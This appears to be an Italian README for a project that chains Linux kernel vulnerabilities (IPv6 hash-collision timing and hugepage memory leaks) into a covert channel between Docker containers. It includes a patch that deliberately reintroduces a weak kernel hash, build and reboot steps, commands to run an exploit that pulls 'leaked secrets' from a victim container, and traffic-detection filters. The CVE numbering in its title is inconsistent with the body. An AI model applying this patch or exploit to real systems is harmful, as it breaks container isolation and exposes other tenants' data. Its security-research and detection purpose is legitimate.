spiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-498823 catene di bug del kernel Linux per realizzare un'app di comunicazione sicura utilizzando un canale laterale per stabilire la chiave e creare un canale occulto;
Questo progetto dimostra un canale di comunicazione nascosto che utilizza due vulnerabilità del kernel Linux:
| Componente | CVE | Scopo |
|---|---|---|
| Canale di Sincronizzazione | CVE-2023-1206 | Sincronizzazione dell'orologio tramite timing di collisione hash IPv6 |
| Canale Dati | CVE-2024-49882 | Trasferimento dati tra container tramite perdite di hugepage |
┌─────────────────────────────────────────────────────────────────────┐
│ CANALE NASCOSTO NON CRITTOGRAFATO │
├─────────────────────────────────────────────────────────────────────┤
│ Container A (Mittente) Container B (Ricevitore) │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 1. Scrivi dati │ │ 4. Rileva sync │ │
│ │ su hugepage │ │ preambolo │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ Hash IPv6 ┌─────────────────┐ │
│ │ 2. Invia sync │──Collisione──▶│ 5. Misura │ │
│ │ preambolo │ Timing │ latenza │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ Hugepage ┌─────────────────┐ │
│ │ 3. Rilascia │──Riutilizzo──▶│ 6. Cattura │ │
│ │ hugepage │ │ dati persi │ │
│ └─────────────────┘ └─────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
È necessario il kernel 6.12 con la vulnerabilità reintrodotta:
# Clone kernel source
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12
# Apply vulnerability patch
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
/* more secured version of ipv6_addr_hash() */
static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
{
- return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+ u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+ return jhash_3words(v,
+ (__force u32)a->s6_addr32[2],
+ (__force u32)a->s6_addr32[3],
+ initval);
}
EOF
patch -p1 < /tmp/vuln_patch.patch
# Build and install
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub
# Reboot into vulnerable kernel
sudo reboot
# Allocate hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# Verify
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages
# Load udmabuf module
sudo modprobe udmabuf
# Verify /dev/udmabuf exists
ls -la /dev/udmabuf
# Install Docker with IPv6 support
sudo apt-get update
sudo apt-get install -y docker.io docker-compose
# Enable IPv6 in Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
"ipv6": true,
"fixed-cidr-v6": "fd00::/80",
"experimental": true,
"ip6tables": true
}
EOF
sudo systemctl restart docker
cd ~/covert_channel
# Compila sull'host
make
# Compila i container Docker
docker-compose build
# Esegui il test di collisione
./test_collision
# Output previsto:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!
# Terminale 1: Avvia il database vittima
docker-compose up victim_db
# Terminale 2: Esegui l'attaccante
docker-compose run --rm attacker
# All'interno del container:
cd /exploit
./exploit_debug
# Terminale 3: Ferma la vittima per attivare la perdita
docker stop victim_db
# Osserva il Terminale 2 per i segreti trapelati!
# Terminale 1: Avvia il ricevitore
docker-compose run --rm receiver
cd /exploit
./covert_channel -r
# Terminale 2: Avvia il mittente
docker-compose run --rm sender
cd /exploit
./covert_channel -s "SECRET MESSAGE FROM CONTAINER A"
# Osserva il Terminale 1 ricevere il messaggio!
# Sull'host, cattura il traffico del bridge Docker
sudo tcpdump -i docker0 -w covert_channel.pcap
# Oppure cattura la rete specifica
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap
# Filtro per il canale di sincronizzazione (inondazioni IPv6 TCP SYN)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0
# Filtro per il traffico specifico del bucket di collisione
ipv6.dst contains 20:01:0d:b8
# Filtro per porta
tcp.port == 31337
# Mostra solo tentativi di connessione (nessun dato)
tcp.len == 0 && tcp.flags.syn == 1
# Analisi temporale (connessioni al secondo)
# Statistics -> I/O Graphs -> Y Axis: Packets/s
Preambolo di Sincronizzazione: Raffiche alternate di pacchetti SYN
Schema Temporale:
Schema dell'Indirizzo IPv6:
Salva come ~/.local/lib/wireshark/plugins/covert_channel.lua:
-- Covert Channel Dissector for CVE-2023-1206
local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")
local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)
covert_proto.fields = { f_collision, f_bucket }
function covert_proto.dissector(buffer, pinfo, tree)
-- Check for IPv6 TCP SYN
if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
local src = pinfo.ipv6_src
-- Check for collision pattern
local a0 = src:get_bytes(0, 4)
local a1 = src:get_bytes(4, 4)
-- XOR check would go here
local subtree = tree:add(covert_proto, buffer())
subtree:add(f_collision, true)
end
end
-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)
# Grafico del tasso di pacchetti in tempo reale
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1
# Estrai dati temporali per il plottaggio
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
-Y "tcp.flags.syn==1" > timing_data.csv
# Plotta con gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF
# Controlla l'allocazione corrente
cat /proc/meminfo | grep Huge
# Aumenta l'allocazione
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages